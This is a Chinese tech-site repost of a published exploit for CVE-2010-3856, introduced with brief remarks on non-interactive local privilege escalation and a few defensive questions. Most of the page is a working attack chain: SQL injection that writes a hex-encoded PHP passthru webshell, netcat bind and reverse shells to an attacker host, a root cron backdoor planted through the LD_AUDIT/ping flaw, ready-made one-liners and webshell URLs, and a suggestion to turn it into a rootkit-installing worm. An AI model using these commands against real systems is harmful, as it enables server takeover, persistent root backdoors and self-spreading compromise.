当前位置:七道奇文章资讯系统安全Linux安全
日期:2011-02-23 17:55:00  来源:本站整理

Linux非交互环境下本地提权思绪与沉思[Linux安全]

赞助商链接



  本文“Linux非交互环境下本地提权思绪与沉思[Linux安全]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

在iptables限制非常严峻的时刻,无法走icmp udp tcp的bind shell或connect back shell,又需求本地提权,root了之后关闭iptables,看看可否绕过拜候掌握手段(当然了,假如别人是硬件的防火墙,下文办理不了问题).在这一场景下,可以考虑参考下文的非交互式本地提权的办法,大概还有其他linux localroot exploit也能实现,实战出真知.



别的有些时刻不一定非得root的,nobody,非交互也能做非常多的事.

作为防备一方,面对这种场景,我们能否得沉思

1、防备手段要与被防备系统别离,即便成功root了,仍然难以快速浸透

2、我们对localroot能否有充足的事前的免疫本领,事中的发现本领及过后的定损取证本领?


Debian <=5.0.6 /Ubuntu <=10.04 Webshell-Remote-Root

# Exploit Title: Debian <=5.0.6 /Ubuntu <=10.04 Webshell-Remote-Root
# Date: 24-10-2010
# Author: jmit
# Mail: fhausberger[at]gmail[dot]com
# Tested on: Debian 5.0.6
# CVE: CVE-2010-3856

--------------
| DISCLAIMER |
--------------

# IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.

---------
| ABOUT |
---------

Debian/Ubuntu remote root exploitation example (GNU dynamic linker DSO vuln).
See (http://www.exploit-db.com/exploits/15304/). Should work on other linux
distros too.

--------------
| BACKGROUND |
--------------

Typically it isn't possible to use a suidshell or modify /etc/passwd directly after
webshell access (user nobody) to gain root access. But with the DSO vuln we can
launch commands as root and we can create a socket and connect to the user or setup
a bindshell.

-----------
| EXPLOIT |
-----------

After you have found a SQL-Injection vuln you can create a php backdoor. This is typically
possible with select into dumpfile/outfile statement. The values are a simple
<? passthru($_GET['c']); ?> backdoor.

---
DROP TABLE IF EXISTS `fm`;
CREATE TABLE `fm` (
`fm` longblob
) TYPE=MyISAM;
insert into fm (fm) values (0x3c3f20706173737468727528245f4745545b2763275d293b203f3e);
select fm from fm into dumpfile '/opt/lampp/htdocs/xampp_backup.php';
drop table fm;
flush logs;
---

Now you can connect to the server and create a connection with telnet, nc, write
binary with perl -e ' print "\x41\x42\x43\x44"', echo -en '\x41\x42\x43\x44', ...
If direct shell access isn't possible you can use phpcode to create your own
binary with php fwrite:

---
<?php $File = "/tmp/nc";
$Handle = fopen($File, 'w');
$Data = "\x41\x42\x43\x44";
fwrite($Handle, $Data);
fclose($Handle); ?>
---

Now use

Bind-Shell: http://victimip/xampp_backup.php?c=nc -l -p 9999 -e /bin/bash
Reverse-Shell: http://victimip/xampp_backup.php?c=/bin/nc attackerip 9999 | /bin/bash

in your webbrowser and connect to your shell

$ nc victimip 9999
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

---

Now lets exploit the DSO vuln. You need umask 0 for correct
rw-rw-rw creation of exploit /etc/cron.d/exploit

$ umask 0

This is the shellscript for the cron.d entry.

Bind-Shell: $ echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh
Reverse-Shell: $ echo -e '/bin/nc localhost 8888 | /bin/bash' > /tmp/exploit.sh

Now make your shellscript executable for cron:

$ chmod u+x /tmp/exploit.sh

Create rw-rw-rw file in cron directory using the setuid ping program:

$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping

Launch every minute a suid root shell

$ echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit

Now you have a root shell every minute.

$ nc attackerip 79
id
uid=0(root) gid=0(root) groups=0(root)

-------------------
| EXPLOIT oneline |
-------------------

echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh;/bin/chmod 0744 /tmp/exploit.sh;umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping;echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit

$ nc attackerip 79
id
uid=0(root) gid=0(root) groups=0(root)

------------------------------
| EXPLOIT from webshell only |
------------------------------

http://victimip/xampp_backup.php?c=echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh
http://victimip/xampp_backup.php?c=/bin/chmod 0744 /tmp/exploit.sh
http://victimip/xampp_backup.php?c=umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
http://victimip/xampp_backup.php?c=echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit

$ nc attackerip 79
id
uid=0(root) gid=0(root) groups=0(root)

---------------------------------
| EXPLOIT from webshell oneline |
---------------------------------

http://victimip/xampp_backup.php?c=echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh;/bin/chmod 0744 /tmp/exploit.sh;umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping;echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit

$ nc attackerip 79
id
uid=0(root) gid=0(root) groups=0(root)

---------
| IDEAS |
---------

Looks like a wormable bug. The urlobfuscated (IDS/IPS) worm search for SQLI/BSQLI bugs or remote code execution bugs.
Then the worm injects the evil url and do the same for other ips. It installs a rootkit-bot and the game is over.© Offensive Security 2010
    以上是“Linux非交互环境下本地提权思绪与沉思[Linux安全]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:

  • windows下的近似linux下的grep号令--findstr
  • linux下mysql链接被防火墙禁止的办理办法
  • Linux下mysql新建账号及权限设置办法
  • SUSE Linux下搭建Web服务器
  • Windows/Linux MySQL忘掉密码重置密码教程
  • Linux下Apache自动监测重启脚本(智能化程度较高)
  • linux备份 linux克隆 linux clone
  • <b>为什么 Linux不需求碎片整理</b>
  • CentOS6 yum搭建Linux+Nginx+PHP+MYSQL(LNMP)
  • Linux系统有效防备ARP攻击
  • Linux下 Memcache的安装和简单管理
  • 笔记本预装linux重装成windows系统
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .